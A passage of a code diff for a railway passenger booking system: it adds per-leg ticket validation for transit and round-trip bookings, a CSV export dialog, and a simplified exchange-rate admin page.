- // Update all booked seats from HELD to BOOKED and create permanent seat blocks
+ // Block all seats across all legs
const seatIds = booking.seats.map(bs => bs.seatId);
for (const seatId of seatIds) {
- // Update seat status to BOOKED
- await this.prisma.seat.update({
- where: { id: seatId },
- data: { status: 'BOOKED' },
- });
- // Create permanent seat blocks for all booked seats
+ await this.prisma.seat.update({ where: { id: seatId }, data: { status: 'BOOKED' } });
await this.prisma.seatBlock.create({
- data: {
- seatId,
- reason: `Permanently booked in ticket ${ticket.id}`,
- blockedBy: 'SYSTEM',
- approvedBy: 'SYSTEM',
- }
- }).catch(() => null); // Ignore if already exists
+ data: { seatId, reason: `Booked in ticket ${ticket.id}`, blockedBy: 'SYSTEM', approvedBy: 'SYSTEM' },
+ }).catch(() => null);
}
-
- return ticket;
+
+ return { ...ticket, legs: legSummary };
+ }
+
+ private buildLegSummary(booking: any) {
+ const seatsByLeg = new Map();
+ for (const bs of booking.seats) {
+ const leg = bs.leg ?? 1;
+ if (!seatsByLeg.has(leg)) seatsByLeg.set(leg, []);
+ seatsByLeg.get(leg)!.push(bs);
+ }
+ return Array.from(seatsByLeg.entries())
+ .sort(([a], [b]) => a - b)
+ .map(([leg, seats]) => ({
+ leg,
+ scheduleId: (seats[0] as any).scheduleId ?? booking.scheduleId,
+ passengers: seats.map(bs => ({
+ name: bs.passengerName,
+ category: bs.passengerCategory,
+ coach: bs.seat?.coach?.number,
+ seat: bs.seat?.seatNumber,
+ fareMinor: bs.fareMinor,
+ })),
+ }));
}
async updateSeats(bookingId: string, newSeatIds: string[]) {
@@ -213,22 +247,122 @@ export class TicketsService {
};
}
- async validate(bookingRef: string, validatorId: string, gateId?: string) {
+ async validate(ticketIdOrRef: string, validatorId: string, gateId?: string, leg?: string) {
+ // Accept either a ticket UUID or a bookingRef
+ let bookingRef = ticketIdOrRef;
+ const isUuid = /^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i.test(ticketIdOrRef);
+ if (isUuid) {
+ const ticket = await this.prisma.ticket.findUnique({ where: { id: ticketIdOrRef }, select: { bookingRef: true } });
+ if (!ticket) throw new NotFoundException('Ticket not found');
+ bookingRef = ticket.bookingRef;
+ }
+ const resolvedValidatorId = validatorId || 'BACKOFFICE';
const booking = await this.prisma.booking.findUnique({ where: { bookingRef } });
if (!booking) throw new NotFoundException('Booking not found');
const ticket = await this.prisma.ticket.findUnique({ where: { bookingId: booking.id } });
if (!ticket) throw new NotFoundException('Ticket not found');
- if (ticket.validatedAt) {
- await this.prisma.gateValidationLog.create({
- data: { ticketId: ticket.id, validatorId, gateId, status: 'REJECTED', reason: 'ALREADY_VALIDATED' }
- });
- throw new BadRequestException('Ticket already validated');
+
+ const type = booking.bookingType;
+ const now = new Date();
+
+ // ── ONE_WAY / TRANSIT (single scan) ───────────────────────────────────
+ if (type === 'ONE_WAY') {
+ if (ticket.validatedAt) {
+ return { validated: true, ticketId: ticket.id, validatedAt: ticket.validatedAt, alreadyValidated: true };
+ }
+ await this.prisma.ticket.update({ where: { id: ticket.id }, data: { validatedAt: now, validatorId: resolvedValidatorId } });
+ await this.prisma.gateValidationLog.create({ data: { ticketId: ticket.id, validatorId: resolvedValidatorId, gateId, status: 'APPROVED' } });
+ return { validated: true, ticketId: ticket.id, validatedAt: now };
}
- await this.prisma.ticket.update({ where: { id: ticket.id }, data: { validatedAt: new Date(), validatorId } });
- await this.prisma.gateValidationLog.create({
- data: { ticketId: ticket.id, validatorId, gateId, status: 'APPROVED' }
- });
- return { validated: true, ticketId: ticket.id, validatedAt: new Date() };
+
+ // ── TRANSIT — leg=LEG1 or leg=LEG2 ──────────────────────────────────
+ if (type === 'TRANSIT') {
+ const resolvedLeg = (leg ?? 'LEG1').toUpperCase();
+ if (resolvedLeg !== 'LEG1' && resolvedLeg !== 'LEG2') {
+ throw new BadRequestException('For TRANSIT bookings supply leg=LEG1 or leg=LEG2');
+ }
+ const logs = await this.prisma.gateValidationLog.findMany({ where: { ticketId: ticket.id, status: 'APPROVED' } }) as any[];
+ const alreadyValidated = logs.some(l => l.leg === resolvedLeg);
+ if (alreadyValidated) {
+ await this.prisma.gateValidationLog.create({ data: { ticketId: ticket.id, validatorId: resolvedValidatorId, gateId, leg: resolvedLeg, status: 'REJECTED', reason: `${resolvedLeg}_ALREADY_USED` } as any });
+ throw new BadRequestException(`${resolvedLeg} already validated`);
+ }
+ if (!ticket.validatedAt) await this.prisma.ticket.update({ where: { id: ticket.id }, data: { validatedAt: now, validatorId: resolvedValidatorId } });
+ await this.prisma.gateValidationLog.create({ data: { ticketId: ticket.id, validatorId: resolvedValidatorId, gateId, leg: resolvedLeg, status: 'APPROVED' } as any });
+ return { validated: true, ticketId: ticket.id, leg: resolvedLeg, validatedAt: now };
+ }
+
+ // ── ROUND_TRIP — leg=OUTBOUND or leg=RETURN ────────────────────────
+ if (type === 'ROUND_TRIP') {
+ let resolvedLeg = (leg ?? '').toUpperCase();
+ // Auto-detect next unused leg when called from backoffice without a leg param
+ if (!resolvedLeg) {
+ resolvedLeg = !(booking as any).outboundBoardedAt ? 'OUTBOUND' : 'RETURN';
+ }
+ const bookingData: Record = {};
+ if (resolvedLeg === 'OUTBOUND') {
+ if ((booking as any).outboundBoardedAt) {
+ await this.prisma.gateValidationLog.create({ data: { ticketId: ticket.id, validatorId: resolvedValidatorId, gateId, leg: resolvedLeg, status: 'REJECTED', reason: 'OUTBOUND_ALREADY_USED' } as any });
+ throw new BadRequestException('Outbound leg already used');
+ }
+ bookingData.outboundBoardedAt = now;
+ if (!ticket.validatedAt) await this.prisma.ticket.update({ where: { id: ticket.id }, data: { validatedAt: now, validatorId: resolvedValidatorId } });
+ } else if (resolvedLeg === 'RETURN') {
+ if ((booking as any).returnBoardedAt) {
+ await this.prisma.gateValidationLog.create({ data: { ticketId: ticket.id, validatorId: resolvedValidatorId, gateId, leg: resolvedLeg, status: 'REJECTED', reason: 'RETURN_ALREADY_USED' } as any });
+ throw new BadRequestException('Return leg already used');
+ }
+ bookingData.returnBoardedAt = now;
+ } else {
+ throw new BadRequestException('For ROUND_TRIP bookings supply leg=OUTBOUND or leg=RETURN');
+ }
+ const outboundUsed = resolvedLeg === 'OUTBOUND' ? true : !!(booking as any).outboundBoardedAt;
+ const returnUsed = resolvedLeg === 'RETURN' ? true : !!(booking as any).returnBoardedAt;
+ if (outboundUsed && returnUsed) bookingData.returnLegStatus = 'BOTH_USED';
+ else if (outboundUsed && !returnUsed) bookingData.returnLegStatus = 'OUTBOUND_ONLY';
+ else if (!outboundUsed && returnUsed) bookingData.returnLegStatus = 'INBOUND_ONLY';
+ await this.prisma.booking.update({ where: { id: booking.id }, data: bookingData });
+ await this.prisma.gateValidationLog.create({ data: { ticketId: ticket.id, validatorId: resolvedValidatorId, gateId, leg: resolvedLeg, status: 'APPROVED' } as any });
+ return { validated: true, ticketId: ticket.id, leg: resolvedLeg, validatedAt: now };
+ }
+
+ // ── ROUND_TRIP_TRANSIT — leg=OUTBOUND_LEG1|OUTBOUND_LEG2|RETURN_LEG1|RETURN_LEG2
+ if (type === 'ROUND_TRIP_TRANSIT') {
+ const validLegs = ['OUTBOUND_LEG1', 'OUTBOUND_LEG2', 'RETURN_LEG1', 'RETURN_LEG2'];
+ const resolvedLeg = (leg ?? '').toUpperCase();
+ if (!validLegs.includes(resolvedLeg)) {
+ throw new BadRequestException(`For ROUND_TRIP_TRANSIT supply leg=${validLegs.join('|')}`);
+ }
+ const logs = await this.prisma.gateValidationLog.findMany({ where: { ticketId: ticket.id, status: 'APPROVED' } }) as any[];
+ if (logs.some(l => l.leg === resolvedLeg)) {
+ await this.prisma.gateValidationLog.create({ data: { ticketId: ticket.id, validatorId: resolvedValidatorId, gateId, leg: resolvedLeg, status: 'REJECTED', reason: `${resolvedLeg}_ALREADY_USED` } as any });
+ throw new BadRequestException(`${resolvedLeg} already validated`);
+ }
+ const bookingData: Record = {};
+ if (resolvedLeg.startsWith('OUTBOUND') && !logs.some(l => l.leg?.startsWith('OUTBOUND') && l.status === 'APPROVED')) {
+ bookingData.outboundBoardedAt = now;
+ }
+ if (resolvedLeg.startsWith('RETURN') && !logs.some(l => l.leg?.startsWith('RETURN') && l.status === 'APPROVED')) {
+ bookingData.returnBoardedAt = now;
+ }
+ const allOutboundDone = ['OUTBOUND_LEG1','OUTBOUND_LEG2'].every(l => l === resolvedLeg || logs.some(x => x.leg === l && x.status === 'APPROVED'));
+ const allReturnDone = ['RETURN_LEG1','RETURN_LEG2'].every(l => l === resolvedLeg || logs.some(x => x.leg === l && x.status === 'APPROVED'));
+ if (allOutboundDone && allReturnDone) bookingData.returnLegStatus = 'BOTH_USED';
+ else if (allOutboundDone && !allReturnDone) bookingData.returnLegStatus = 'OUTBOUND_ONLY';
+ else if (!allOutboundDone && allReturnDone) bookingData.returnLegStatus = 'INBOUND_ONLY';
+ if (Object.keys(bookingData).length) await this.prisma.booking.update({ where: { id: booking.id }, data: bookingData });
+ if (!ticket.validatedAt) await this.prisma.ticket.update({ where: { id: ticket.id }, data: { validatedAt: now, validatorId: resolvedValidatorId } });
+ await this.prisma.gateValidationLog.create({ data: { ticketId: ticket.id, validatorId: resolvedValidatorId, gateId, leg: resolvedLeg, status: 'APPROVED' } as any });
+ return { validated: true, ticketId: ticket.id, leg: resolvedLeg, validatedAt: now };
+ }
+
+ // Fallback for unknown booking types — single scan
+ if (ticket.validatedAt) {
+ return { validated: true, ticketId: ticket.id, validatedAt: ticket.validatedAt, alreadyValidated: true };
+ }
+ await this.prisma.ticket.update({ where: { id: ticket.id }, data: { validatedAt: now, validatorId: resolvedValidatorId } });
+ await this.prisma.gateValidationLog.create({ data: { ticketId: ticket.id, validatorId: resolvedValidatorId, gateId, status: 'APPROVED' } });
+ return { validated: true, ticketId: ticket.id, validatedAt: now };
}
async getValidationLogs(ticketId: string) {
@@ -243,7 +377,7 @@ export class TicketsService {
where: { scheduleId: tripId, status: 'CONFIRMED' },
include: {
ticket: true,
- seats: { include: { seat: { include: { coach: true } } } },
+ seats: { include: { seat: { include: { coach: { include: { coachType: true } } } } } },
passenger: { include: { user: true } },
},
});
@@ -256,6 +390,8 @@ export class TicketsService {
coachLabel: b.seats[0]?.seat.coach.number,
qrPayload: b.ticket?.qrPayload,
status: b.status,
+ bookingType: b.bookingType,
+ returnLegStatus: (b as any).returnLegStatus ?? null,
validatedAt: b.ticket?.validatedAt,
}));
}
@@ -265,11 +401,13 @@ export class TicketsService {
const processedRefs = new Set();
for (const v of validations) {
- if (processedRefs.has(v.bookingRef)) {
+ const offlineLeg = v.leg;
+ const dedupKey = offlineLeg ? `${v.bookingRef}:${offlineLeg}` : v.bookingRef;
+ if (processedRefs.has(dedupKey)) {
results.duplicate++;
continue;
}
- processedRefs.add(v.bookingRef);
+ processedRefs.add(dedupKey);
try {
const booking = await this.prisma.booking.findUnique({ where: { bookingRef: v.bookingRef } });
@@ -286,11 +424,24 @@ export class TicketsService {
continue;
}
- if (ticket.validatedAt) {
+ if (ticket.validatedAt && booking.bookingType !== 'ROUND_TRIP' &&
+ booking.bookingType !== 'TRANSIT' && booking.bookingType !== 'ROUND_TRIP_TRANSIT') {
results.duplicate++;
continue;
}
+ // For multi-leg bookings, check per-leg duplication
+ const isMultiLeg = booking.bookingType === 'ROUND_TRIP' ||
+ booking.bookingType === 'TRANSIT' ||
+ booking.bookingType === 'ROUND_TRIP_TRANSIT';
+ if (isMultiLeg && offlineLeg) {
+ const existingLogs = await this.prisma.gateValidationLog.findMany({ where: { ticketId: ticket.id, status: 'APPROVED' } }) as any[];
+ if (existingLogs.some(l => l.leg === offlineLeg)) {
+ results.duplicate++;
+ continue;
+ }
+ }
+
await this.prisma.ticket.update({
where: { id: ticket.id },
data: { validatedAt: new Date(v.validatedAt), validatorId: v.validatorId },
@@ -301,11 +452,27 @@ export class TicketsService {
ticketId: ticket.id,
validatorId: v.validatorId,
gateId: v.gateId,
+ leg: v.leg ?? null,
status: 'APPROVED',
validatedAt: new Date(v.validatedAt),
- },
+ } as any,
});
+ // update boarding timestamps for multi-leg bookings
+ const isMultiLegBooking = booking.bookingType === 'ROUND_TRIP' ||
+ booking.bookingType === 'TRANSIT' ||
+ booking.bookingType === 'ROUND_TRIP_TRANSIT';
+ if (isMultiLegBooking && offlineLeg) {
+ const bookingData: Record = {};
+ const isOutbound = (offlineLeg as string) === 'OUTBOUND' || (offlineLeg as string) === 'OUTBOUND_LEG1' || (offlineLeg as string) === 'LEG1';
+ const isReturn = (offlineLeg as string) === 'RETURN' || (offlineLeg as string) === 'RETURN_LEG1' || (offlineLeg as string) === 'RETURN_LEG2';
+ if (isOutbound && !(booking as any).outboundBoardedAt) bookingData.outboundBoardedAt = new Date(v.validatedAt);
+ if (isReturn && !(booking as any).returnBoardedAt) bookingData.returnBoardedAt = new Date(v.validatedAt);
+ if (Object.keys(bookingData).length) {
+ await this.prisma.booking.update({ where: { id: booking.id }, data: bookingData });
+ }
+ }
+
results.success++;
} catch (err) {
results.failed++;
diff --git a/apps/edr-passenger-web/backoffice/src/app/bookings/page.tsx b/apps/edr-passenger-web/backoffice/src/app/bookings/page.tsx
index ce8541f29..7b43fb677 100644
--- a/apps/edr-passenger-web/backoffice/src/app/bookings/page.tsx
+++ b/apps/edr-passenger-web/backoffice/src/app/bookings/page.tsx
@@ -24,6 +24,19 @@ export default function BookingsPage() {
const [deleteConfirmOpen, setDeleteConfirmOpen] = useState(false);
const [bookingToDelete, setBookingToDelete] = useState(null);
const [successMessage, setSuccessMessage] = useState('');
+ const [exportModalOpen, setExportModalOpen] = useState(false);
+ const [exportDateFrom, setExportDateFrom] = useState('');
+ const [exportDateTo, setExportDateTo] = useState('');
+ const [exportColumns, setExportColumns] = useState>({
+ bookingRef: true,
+ passenger: true,
+ status: true,
+ bookingType: false,
+ passengerCount: false,
+ totalMinor: true,
+ paymentStatus: true,
+ createdAt: true,
+ });
const queryClient = useQueryClient();
@@ -80,22 +93,23 @@ export default function BookingsPage() {
}
};
- const handleExportBookings = async () => {
- const selectedColumns = prompt(
- 'Select columns to export (comma-separated):\n\n' +
- 'Available: bookingRef, passenger, status, bookingType, passengerCount, totalMinor, paymentStatus, createdAt\n\n' +
- 'Default: bookingRef, passenger, status, totalMinor, paymentStatus, createdAt',
- 'bookingRef, passenger, status, totalMinor, paymentStatus, createdAt'
- );
-
- if (!selectedColumns) return;
-
- const cols = selectedColumns.split(',').map(c => c.trim());
+ const confirmExport = () => {
+ const cols = Object.entries(exportColumns).filter(([, v]) => v).map(([k]) => k);
+ if (cols.length === 0) { alert('Please select at least one column'); return; }
+
+ const exportItems = (data?.items || []).filter((b: any) => {
+ if (!exportDateFrom && !exportDateTo) return true;
+ const d = b.createdAt ? new Date(b.createdAt).toISOString().split('T')[0] : null;
+ if (exportDateFrom && (!d || d < exportDateFrom)) return false;
+ if (exportDateTo && (!d || d > exportDateTo)) return false;
+ return true;
+ });
+
const csv = [
cols.join(','),
- ...data?.items?.map((booking: any) => {
+ ...exportItems.map((booking: any) => {
const values = cols.map(col => {
- switch(col) {
+ switch (col) {
case 'bookingRef': return booking.bookingRef;
case 'passenger': return booking.passenger?.fullName || booking.contactEmail || 'Guest';
case 'status': return booking.status;
@@ -108,28 +122,29 @@ export default function BookingsPage() {
}
});
return values.map(v => `"${v}"`).join(',');
- }) || []
+ }),
].join('\n');
-
+
const blob = new Blob([csv], { type: 'text/csv' });
const url = window.URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `bookings-${new Date().toISOString().split('T')[0]}.csv`;
a.click();
+ setExportModalOpen(false);
};
const columns = [
- {
- key: 'bookingRef',
+ {
+ key: 'bookingRef',
label: 'Reference',
sortable: true,
render: (booking: any) => (
{booking.bookingRef}
),
},
- {
- key: 'passenger',
+ {
+ key: 'passenger',
label: 'Passenger',
render: (booking: any) => (
@@ -138,32 +153,39 @@ export default function BookingsPage() {
),
},
- {
- key: 'bookingType',
- label: 'Class',
+ {
+ key: 'bookingType',
+ label: 'Type',
sortable: true,
render: (booking: any) => booking.bookingType || 'ONE_WAY',
},
- {
+ {
key: 'passengerCount',
label: 'Passengers',
- render: (booking: any) => `${(booking.adultCount || 0) + (booking.childCount || 0)}`,
+ render: (booking: any) => {
+ const adults = booking.adultCount || 0;
+ const children = booking.childCount || 0;
+ if (adults === 0 && children === 0) return '—';
+ const parts = [`Adult: ${adults}`];
+ if (children > 0) parts.push(`Child: ${children}`);
+ return parts.join(' / ');
+ },
},
- {
- key: 'status',
+ {
+ key: 'status',
label: 'Status',
render: (booking: any) => (
{booking.status}
),
},
- {
- key: 'totalMinor',
+ {
+ key: 'totalMinor',
label: 'Amount',
sortable: true,
render: (booking: any) => formatCurrency(booking.totalMinor, booking.currency),
},
- {
- key: 'paymentStatus',
+ {
+ key: 'paymentStatus',
label: 'Payment',
render: (booking: any) => (
@@ -171,8 +193,8 @@ export default function BookingsPage() {
),
},
- {
- key: 'createdAt',
+ {
+ key: 'createdAt',
label: 'Created',
sortable: true,
render: (booking: any) => formatDateTime(booking.createdAt),
@@ -208,7 +230,7 @@ export default function BookingsPage() {
Bookings
Manage all passenger bookings
- Export
+ setExportModalOpen(true)}>Export
@@ -253,7 +275,7 @@ export default function BookingsPage() {
loading={isLoading}
emptyMessage="No bookings found"
/>
-
+
{data?.meta && (
{/* Booking Details Modal */}
- setSelectedBooking(null)}
- title="Booking Details"
- size="xl"
- >
+ setSelectedBooking(null)} title="Booking Details" size="xl">
{selectedBooking && (
- {/* Booking Information */}
Booking Reference
@@ -281,9 +297,7 @@ export default function BookingsPage() {
Status
-
- {selectedBooking.status}
-
+ {selectedBooking.status}
@@ -298,7 +312,6 @@ export default function BookingsPage() {
- {/* Passenger Information */}
Passenger Information
@@ -323,7 +336,6 @@ export default function BookingsPage() {
- {/* Booking Details */}
Journey Details
@@ -348,7 +360,6 @@ export default function BookingsPage() {
- {/* Payment Information */}
Payment Information
@@ -377,7 +388,6 @@ export default function BookingsPage() {
- {/* Additional Information */}
Additional Information
@@ -393,12 +403,7 @@ export default function BookingsPage() {
-
setSelectedBooking(null)}
- >
- Close
-
+
setSelectedBooking(null)}>Close
)}
@@ -407,10 +412,7 @@ export default function BookingsPage() {
{/* Delete Confirmation Dialog */}
{
- setDeleteConfirmOpen(false);
- setBookingToDelete(null);
- }}
+ onClose={() => { setDeleteConfirmOpen(false); setBookingToDelete(null); }}
onConfirm={handleConfirmDelete}
title="Delete Booking"
message={`Are you sure you want to permanently delete booking ${bookingToDelete?.bookingRef}? This action cannot be undone and will release all associated seats.`}
@@ -419,6 +421,53 @@ export default function BookingsPage() {
isLoading={deleteMutation.isPending}
isDanger={true}
/>
+
+ {/* Export Modal */}
+ setExportModalOpen(false)} title="Export Bookings" size="md">
+
+
+
+
+
Select Columns
+
+ {[
+ { key: 'bookingRef', label: 'Booking Reference' },
+ { key: 'passenger', label: 'Passenger' },
+ { key: 'status', label: 'Status' },
+ { key: 'bookingType', label: 'Booking Type' },
+ { key: 'passengerCount', label: 'Passenger Count' },
+ { key: 'totalMinor', label: 'Amount' },
+ { key: 'paymentStatus', label: 'Payment Status' },
+ { key: 'createdAt', label: 'Created At' },
+ ].map((col) => (
+
+ setExportColumns({ ...exportColumns, [col.key]: e.target.checked })}
+ className="w-4 h-4 rounded border-gray-300"
+ />
+ {col.label}
+
+ ))}
+
+
+
+
+
setExportModalOpen(false)}>Cancel
+
Export CSV
+
+
+
);
}
diff --git a/apps/edr-passenger-web/backoffice/src/app/coaches/page.tsx b/apps/edr-passenger-web/backoffice/src/app/coaches/page.tsx
index bf4f88a98..d755e5d2f 100644
--- a/apps/edr-passenger-web/backoffice/src/app/coaches/page.tsx
+++ b/apps/edr-passenger-web/backoffice/src/app/coaches/page.tsx
@@ -145,7 +145,7 @@ export default function CoachesPage() {
const [search, setSearch] = useState('');
const [showModal, setShowModal] = useState(false);
const [editingItem, setEditingItem] = useState
(null);
- const [deleteConfirm, setDeleteConfirm] = useState<{ isOpen: boolean; item: any | null }>({ isOpen: false, item: null });
+ const [deleteConfirm, setDeleteConfirm] = useState<{ isOpen: boolean; item: any | null; error?: string }>({ isOpen: false, item: null });
const queryClient = useQueryClient();
// Coach Types Queries
@@ -252,12 +252,17 @@ export default function CoachesPage() {
};
const confirmDelete = async () => {
- if (deleteConfirm.item?.isCoachType) {
- await deleteCoachTypeMutation.mutateAsync(deleteConfirm.item.id);
- } else {
- await deleteCoachMutation.mutateAsync(deleteConfirm.item.id);
+ try {
+ if (deleteConfirm.item?.isCoachType) {
+ await deleteCoachTypeMutation.mutateAsync(deleteConfirm.item.id);
+ } else {
+ await deleteCoachMutation.mutateAsync(deleteConfirm.item.id);
+ }
+ setDeleteConfirm({ isOpen: false, item: null });
+ } catch (err: any) {
+ const msg = err?.response?.data?.message || err?.message || 'Delete failed';
+ setDeleteConfirm((prev) => ({ ...prev, error: msg }));
}
- setDeleteConfirm({ isOpen: false, item: null });
};
const coachTypesArray = Array.isArray(coachTypesData) ? coachTypesData : (coachTypesData as any)?.items || (coachTypesData as any)?.data || [];
@@ -536,6 +541,8 @@ export default function CoachesPage() {
message={`Are you sure you want to delete ${deleteConfirm.item?.name || deleteConfirm.item?.number}?`}
confirmText="Delete"
isDanger={true}
+ isLoading={deleteCoachTypeMutation.isPending || deleteCoachMutation.isPending}
+ error={deleteConfirm.error}
warning={
deleteConfirm.item?.isCoachType
? 'This coach type may have coaches assigned. Deleting it may impact these systems.'
diff --git a/apps/edr-passenger-web/backoffice/src/app/currencies/page.tsx b/apps/edr-passenger-web/backoffice/src/app/currencies/page.tsx
index d57a67c83..8de163da9 100644
--- a/apps/edr-passenger-web/backoffice/src/app/currencies/page.tsx
+++ b/apps/edr-passenger-web/backoffice/src/app/currencies/page.tsx
@@ -2,14 +2,13 @@
import { useState } from 'react';
import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query';
-import { Plus, Trash2, Loader2, Edit, RefreshCw } from 'lucide-react';
+import { Edit, Loader2, RefreshCw } from 'lucide-react';
import DataTable from '@/components/ui/DataTable';
import Modal from '@/components/ui/Modal';
import ActionButton from '@/components/ui/ActionButton';
-import ConfirmDialog from '@/components/ui/ConfirmDialog';
import { apiClient } from '@/lib/api-client';
-interface Currency {
+interface CurrencyRate {
id: string;
code: string;
name: string;
@@ -18,203 +17,104 @@ interface Currency {
exchangeRate: number;
isActive: boolean;
createdAt: string;
- updatedAt: string;
}
+const CURRENCY_META: Record = {
+ ETB: { name: 'Ethiopian Birr', symbol: 'Br' },
+ DJF: { name: 'Djiboutian Franc', symbol: 'Fdj' },
+ USD: { name: 'US Dollar', symbol: '$' },
+};
+
export default function CurrenciesPage() {
- const [showModal, setShowModal] = useState(false);
- const [editingCurrency, setEditingCurrency] = useState(null);
- const [deleteConfirm, setDeleteConfirm] = useState<{ isOpen: boolean; id: string | null }>({
- isOpen: false,
- id: null,
- });
+ const [editingRate, setEditingRate] = useState(null);
+ const [rateInput, setRateInput] = useState('');
const [error, setError] = useState(null);
const queryClient = useQueryClient();
- const [currencyForm, setCurrencyForm] = useState({
- code: '',
- name: '',
- symbol: '',
- baseCurrencyCode: 'ETB',
- exchangeRate: '',
- });
-
- const { data: currencies = [], isLoading } = useQuery({
+ const { data: currencies = [], isLoading } = useQuery({
queryKey: ['currencies'],
queryFn: () => apiClient.get('/currencies'),
});
- const createMutation = useMutation({
- mutationFn: (data: any) => apiClient.post('/currencies', data),
- onSuccess: () => {
- queryClient.invalidateQueries({ queryKey: ['currencies'] });
- resetForm();
- setError(null);
- },
- onError: (err: any) => {
- setError(err.response?.data?.message || 'Failed to create currency');
- },
- });
-
const updateMutation = useMutation({
- mutationFn: (data: any) => apiClient.patch(`/currencies/${data.id}`, data),
+ mutationFn: ({ id, exchangeRate }: { id: string; exchangeRate: number }) =>
+ apiClient.patch(`/currencies/${id}`, { exchangeRate }),
onSuccess: () => {
queryClient.invalidateQueries({ queryKey: ['currencies'] });
- setEditingCurrency(null);
- resetForm();
+ setEditingRate(null);
setError(null);
},
onError: (err: any) => {
- setError(err.response?.data?.message || 'Failed to update currency');
+ setError(err.response?.data?.message || 'Failed to update exchange rate');
},
});
- const deleteMutation = useMutation({
- mutationFn: (id: string) => apiClient.delete(`/currencies/${id}`),
- onSuccess: () => {
- queryClient.invalidateQueries({ queryKey: ['currencies'] });
- setDeleteConfirm({ isOpen: false, id: null });
- },
- onError: (err: any) => {
- setError(err.response?.data?.message || 'Failed to delete currency');
- },
- });
-
- const syncRatesMutation = useMutation({
+ const syncMutation = useMutation({
mutationFn: () => apiClient.post('/currencies/sync-rates', {}),
- onSuccess: () => {
- queryClient.invalidateQueries({ queryKey: ['currencies'] });
- setError(null);
- },
- onError: (err: any) => {
- setError(err.response?.data?.message || 'Failed to sync exchange rates');
- },
+ onSuccess: () => queryClient.invalidateQueries({ queryKey: ['currencies'] }),
+ onError: (err: any) => setError(err.response?.data?.message || 'Failed to sync rates'),
});
- const resetForm = () => {
- setCurrencyForm({
- code: '',
- name: '',
- symbol: '',
- baseCurrencyCode: 'ETB',
- exchangeRate: '',
- });
- setEditingCurrency(null);
- setShowModal(false);
+ const handleEdit = (currency: CurrencyRate) => {
+ setEditingRate(currency);
+ setRateInput(currency.exchangeRate.toString());
setError(null);
};
- const handleEditCurrency = (currency: Currency) => {
- setEditingCurrency(currency);
- setCurrencyForm({
- code: currency.code,
- name: currency.name,
- symbol: currency.symbol,
- baseCurrencyCode: currency.baseCurrencyCode,
- exchangeRate: currency.exchangeRate.toString(),
- });
- setError(null);
- setShowModal(true);
- };
-
- const handleSaveCurrency = async () => {
- setError(null);
- if (!currencyForm.code || !currencyForm.name || !currencyForm.symbol || !currencyForm.exchangeRate) {
- setError('All fields are required');
- return;
- }
-
- const rate = parseFloat(currencyForm.exchangeRate);
+ const handleSave = async () => {
+ const rate = parseFloat(rateInput);
if (isNaN(rate) || rate <= 0) {
setError('Exchange rate must be a positive number');
return;
}
-
- const payload = {
- code: currencyForm.code.toUpperCase(),
- name: currencyForm.name,
- symbol: currencyForm.symbol,
- baseCurrencyCode: currencyForm.baseCurrencyCode,
- exchangeRate: rate,
- };
-
- if (editingCurrency) {
- await updateMutation.mutateAsync({ id: editingCurrency.id, ...payload });
- } else {
- await createMutation.mutateAsync(payload);
- }
+ await updateMutation.mutateAsync({ id: editingRate!.id, exchangeRate: rate });
};
- const confirmDelete = async () => {
- if (deleteConfirm.id) {
- await deleteMutation.mutateAsync(deleteConfirm.id);
- }
- };
-
- const currenciesArray = Array.isArray(currencies) ? currencies : (currencies as any)?.items || [];
+ const currenciesArray = Array.isArray(currencies) ? currencies : (currencies as any)?.items ?? [];
const columns = [
{
key: 'code',
- label: 'Code',
- render: (currency: Currency) => (
- {currency.code}
- ),
- },
- {
- key: 'name',
- label: 'Name',
- render: (currency: Currency) => (
- {currency.name}
- ),
- },
- {
- key: 'symbol',
- label: 'Symbol',
- render: (currency: Currency) => (
- {currency.symbol}
- ),
- },
- {
- key: 'baseCurrencyCode',
- label: 'Base Currency',
- render: (currency: Currency) => (
- {currency.baseCurrencyCode}
- ),
- },
- {
- key: 'exchangeRate',
- label: 'Exchange Rate',
- render: (currency: Currency) => (
-
-
- 1 {currency.baseCurrencyCode} = {currency.exchangeRate.toFixed(4)} {currency.code}
-
-
- 1 {currency.code} = {(1 / currency.exchangeRate).toFixed(6)} {currency.baseCurrencyCode}
+ label: 'Currency',
+ render: (c: CurrencyRate) => (
+
+
+ {CURRENCY_META[c.code]?.symbol ?? c.symbol}
+
+
+
{c.code}
+
{CURRENCY_META[c.code]?.name ?? c.name}
),
},
{
- key: 'isActive',
- label: 'Status',
- render: (currency: Currency) => (
-
- {currency.isActive ? 'Active' : 'Inactive'}
-
+ key: 'baseCurrencyCode',
+ label: 'Base',
+ render: (c: CurrencyRate) => (
+
{c.baseCurrencyCode}
),
},
{
- key: 'updatedAt',
+ key: 'exchangeRate',
+ label: 'Exchange Rate',
+ render: (c: CurrencyRate) => (
+
+
+ 1 {c.baseCurrencyCode} = {c.exchangeRate} {c.code}
+
+
+ 1 {c.code} = {(1 / c.exchangeRate).toFixed(6)} {c.baseCurrencyCode}
+
+
+ ),
+ },
+ {
+ key: 'createdAt',
label: 'Last Updated',
- render: (currency: Currency) => (
+ render: (c: CurrencyRate) => (
- {new Date(currency.updatedAt).toLocaleDateString()}
+ {new Date(c.createdAt).toLocaleDateString()}
),
},
@@ -222,140 +122,93 @@ export default function CurrenciesPage() {
const actions = [
{
- label: 'Edit',
- onClick: handleEditCurrency,
+ label: 'Edit Rate',
+ onClick: handleEdit,
variant: 'secondary' as const,
icon: Edit,
},
- {
- label: 'Delete',
- onClick: (currency: Currency) => setDeleteConfirm({ isOpen: true, id: currency.id }),
- variant: 'danger' as const,
- icon: Trash2,
- },
];
return (
-
Currencies
-
Manage exchange rates and display currencies
-
-
-
syncRatesMutation.mutate()}
- loading={syncRatesMutation.isPending}
- >
- Sync Rates
-
-
{
- setError(null);
- setEditingCurrency(null);
- setCurrencyForm({
- code: '',
- name: '',
- symbol: '',
- baseCurrencyCode: 'ETB',
- exchangeRate: '',
- });
- setShowModal(true);
- }}
- >
- Add Currency
-
+
Exchange Rates
+
+ Manage ETB exchange rates for display currencies (DJF, USD)
+
+
syncMutation.mutate()}
+ loading={syncMutation.isPending}
+ >
+ Sync Rates
+
+ {error && !editingRate && (
+
+ {error}
+
+ )}
+
-
-
-
-
Total Currencies
-
- {currenciesArray.length}
+
+ {(['ETB', 'DJF', 'USD'] as const).map((code) => {
+ const entry = currenciesArray.find((c: CurrencyRate) => c.code === code);
+ return (
+
+
+
{CURRENCY_META[code].name}
+
{code}
